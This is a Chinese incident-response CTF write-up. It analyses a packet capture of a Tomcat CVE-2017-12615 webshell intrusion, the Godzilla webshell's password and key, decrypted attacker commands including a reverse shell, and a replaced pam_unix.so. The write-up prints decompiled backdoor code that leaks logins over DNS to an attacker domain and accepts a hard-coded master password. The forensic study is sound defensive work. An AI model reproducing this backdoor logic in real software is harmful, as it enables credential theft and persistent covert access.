目录
一、测试环境
二、测试目的
三、操作过程
Flag1
Flag2
Flag3
Flag4
Flag5
Flag6
Flag7
Flag8
Flag9
Flag10
Flag11
Flag12
Flag13
pam_unix.so关键代码
四、结论
一、测试环境
靶场介绍:国内厂商设置的玄机靶场,以应急响应题目著名。
地址:https://xj.edisec.net/challenges/91
靶机IP:68.79.23.158
环境ssh登录:ssh root@ip -p 222
靶机简介:
二、测试目的
根据题目要求,分析流量包和黑客留下的文件,完成题目要求,提交flag。
三、操作过程
Flag1
过滤流量包,发现很多目录扫描的流量
黑客IP:192.168.31.190
Flag1:flag{192.168.31.190}
Flag2
筛选info栏,可以看到两个PUT类型的报文
可以在报文中看到上传了webshell
查找包含apache字符串的报文,可以在响应包中发现tomcat组件的关键词
寻找tomcat的put类型上传漏洞,百度可以找到,很可能就是这个:CVE-2017-12615
Flag2:flag{CVE-2017-12615}
Flag3
PUT请求的文件名就是木马
Flag3:flag{hello.jsp}
Flag4
在木马文件中可以找到pass的变量为密码:7f0e6f
Flag4:flag{7f0e6f}
Flag5
在木马文件的开头可以看到,进行MD5加密时,将pass和xc变量合并了,解密密钥就是xc:1710acba6220f62b
Flag5:flag{1710acba6220f62b}
Flag6
分析命令,需要解密webshell的流量,可以使用蓝队分析研判工具箱的哥斯拉4.0解密
将数据包按时间排序,解密的前几个流量包都是哥斯拉初始化的流量,没有命令信息
追踪编号为2386的数据包,是第一个执行命令的数据包
解密得到第一个命令:uname -r
Flag6:flag{uname -r}
Flag7
追踪编号为2350的数据包
解码响应包,可以看到从主机返回黑客的信息,权限是root
Flag7:flag{root}
也可以解码编号为2443的数据包,黑客使用了id命令,可以解码响应包,权限是root
Flag8
解码编号为2573的数据包,可以看到查看了/etc/os-releassse的文件,该文件中保存着Linux系统的具体版本和其他相关信息
解码响应包,看到系统发行版本:Debian GNU/Linux 10 (buster)
Flag8:flag{Debian GNU/Linux 10 (buster)}
Flag9
解码编号为3438的数据包,发现命令查找了安装的软件包,并进行了过滤
不过,解码响应包时,发现这个命令执行失败了
解码编号为3662的数据包,发现黑客使用的其他命令:dpkg -l libpam-modules:amd64
该命令也是查看已安装的软件包内容,并且解密响应包,是正常回显,执行成功了
Flag9:flag{dpkg -l libpam-modules:amd64}
Flag10
解码编号为3850的数据包,发现进行base64编码后bash执行
解码得到反弹shell的IP和端口:192.168.31.143 1313
Flag10:flag{192.168.31.143:1313}
Flag11
编号为4047的数据包,长度比其他数据包大很多,可能上传了文件
解密该数据包,可以得到一个文件名:/tmp/pam_unix.so
在编号为58的tcp流中,也可以看到黑客将该文件替换了系统的库文件,提交该文件为flag是正确答案
Flag11:flag{pam_unix.so}
Flag12
过滤dns流量,可以看到两个可疑的字符串
登录靶机,将pam_unix.so文件下载下来进行分析
搜索字符串 c0ee2ad2d8.ipv6.xxx.eu.org. ,在图形视图中,按F5可以切换到反汇编视图,查看代码
不懂代码也没关系,可以将代码交给AI,让它帮你分析这个代码中密码是哪个参数
变量p就是后门的密码:XJ@123
Flag12:flag{XJ@123}
Flag13
根据代码分析。域名部分就是流量包中的字符串:c0ee2ad2d8.ipv6.xxx.eu.org.
Flag13:flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
pam_unix.so关键代码
int __fastcall pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv)
{int v4; // er14int *v5; // raxint *v6; // r13int v7; // eaxint v8; // er12int v9; // eaxint v11; // er14bool v12; // zfconst char *name; // [rsp+10h] [rbp-A8h] BYREFconst char *p; // [rsp+18h] [rbp-A0h] BYREFunsigned __int8 hostname[100]; // [rsp+20h] [rbp-98h] BYREFv4 = set_ctrl(pamh, flags, 0LL, 0LL, 0LL, argc, argv);v5 = (int *)malloc(4uLL);if ( !v5 ){v8 = 5;pam_syslog(pamh, 2LL, "pam_unix_auth: cannot allocate ret_data");return v8;}v6 = v5;v7 = pam_get_user(pamh, &name, 0LL);v8 = v7;if ( v7 ){if ( v7 == 30 )v8 = 31;*v6 = v8;goto LABEL_15;}if ( name && ((*name - 43) & 0xFD) != 0 ){if ( unix_blankpasswd(pamh, v4, name) ){name = 0LL;*v6 = 0;
LABEL_15:pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);return v8;}v9 = pam_get_authtok(pamh, 6LL, &p, 0LL);v8 = v9;if ( v9 ){if ( v9 == 30 )v8 = 31;elsepam_syslog(pamh, 2LL, "auth could not identify password for [%s]", name);name = 0LL;*v6 = v8;goto LABEL_15;}v11 = unix_verify_password(pamh, name, p, v4);get_dns_servers();snprintf((char *)hostname, 0x64uLL, "%s.%s c0ee2ad2d8.ipv6.xxx.eu.org.", name, p);if ( !fork() )ngethostbyname(hostname, 1);v12 = strcmp("XJ@123", p) == 0;v8 = !v12;if ( !v12 ){*v6 = v11;v8 = v11;p = 0LL;name = 0LL;pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);}}else{v8 = 10;pam_syslog(pamh, 3LL, "bad username [%s]", name);*v6 = 10;pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);}return v8;
}
四、结论
熟悉哥斯拉4.0的流量分析方法和反编译的方法,ida软件的使用方法和思路。